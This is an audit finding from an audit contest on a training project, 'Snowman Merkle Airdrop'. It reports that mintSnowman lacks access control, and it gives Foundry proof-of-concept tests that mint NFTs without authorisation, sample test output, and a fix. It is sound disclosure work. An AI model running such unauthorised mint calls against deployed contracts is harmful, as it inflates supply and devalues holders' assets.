Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Unauthenticated `Snowman::mintSnowman` lets anyone mint unlimited Snowman NFTs, bypassing the Merkle proof, the signature check and the Snow staking requirement entirely

Description

Snowman NFTs are meant to be created only as the final step of a successful airdrop claim: SnowmanAirdrop::claimSnowman verifies Merkle inclusion, verifies an EIP-712 signature from the receiver, and transfers the receiver's Snow into the airdrop contract before calling mintSnowman.

mintSnowman is external with no access control, and it is the only path by which Snowman NFTs come into existence. Any address can call it directly, for any receiver, with any amount, and skip all three checks. The contract inherits Ownable and declares error SM__NotAllowed() — and uses neither: grep -rn onlyOwner src/ returns nothing and SM__NotAllowed is never thrown, which is itself evidence that the guard was intended here and omitted.

// src/Snowman.sol
contract Snowman is ERC721, Ownable { // Ownable inherited...
error SM__NotAllowed(); // ...error declared...
​
// >>> EXTERNAL FUNCTIONS
@> function mintSnowman(address receiver, uint256 amount) external { // ...neither used
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Every time any address calls mintSnowman directly, which is permissionless and costs only gas — there are no preconditions whatsoever.

  • The repository's own test suite already demonstrates it: test/TestSnowman.t.sol calls nft.mintSnowman(alice, 1) from a non-airdrop address and passes.

Impact:

  • Unlimited free creation of the protocol's only distributed asset. The Merkle tree, the EIP-712 signature scheme and the Snow staking requirement all become decorative, and every legitimately earned Snowman is devalued.

  • The attacker also drives s_TokenCounter, so they choose which token IDs legitimate claimers receive and can inflate the counter arbitrarily.

Proof of Concept

An EOA with zero Snow, no Merkle leaf and no signature mints 100 NFTs to itself.

The test function below belongs inside the shared harness. Paste the harness plus this test function into test/PoC.t.sol and run forge test --match-path test/PoC.t.sol -vv. No Merkle fixtures or ffi are required.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
contract PoC is Test {
Snow snow;
Snowman nft;
MockWETH weth;
address collector = makeAddr("collector");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
weth = new MockWETH();
snow = new Snow(address(weth), 1, collector);
nft = new Snowman("ipfs://snowman");
}
function _leaf(address who, uint256 amount) internal pure returns (bytes32) {
return keccak256(bytes.concat(keccak256(abi.encode(who, amount))));
}
// Insert the test function below here.
}
function test_AnyoneCanMintUnlimitedSnowmanNFTs() public {
assertEq(nft.balanceOf(attacker), 0);
vm.prank(attacker);
nft.mintSnowman(attacker, 100);
assertEq(nft.balanceOf(attacker), 100, "minted with no authorization");
assertEq(snow.balanceOf(attacker), 0, "and with zero Snow staked");
assertEq(nft.getTokenCounter(), 100, "attacker also controls token id assignment");
}

Recommended Mitigation

A bare onlyOwner is not enough: DeploySnowmanAirdrop.s.sol constructs Snowman before SnowmanAirdrop exists, so the airdrop can never be the owner. Store the authorised minter and gate on it — which is what SM__NotAllowed was for.

contract Snowman is ERC721, Ownable {
uint256 private s_TokenCounter;
string private s_SnowmanSvgUri;
+ address private s_airdrop;
+
+ function setAirdrop(address _airdrop) external onlyOwner {
+ if (_airdrop == address(0)) revert SM__NotAllowed();
+ s_airdrop = _airdrop;
+ }
​
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdrop) revert SM__NotAllowed();
for (uint256 i = 0; i < amount; i++) {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!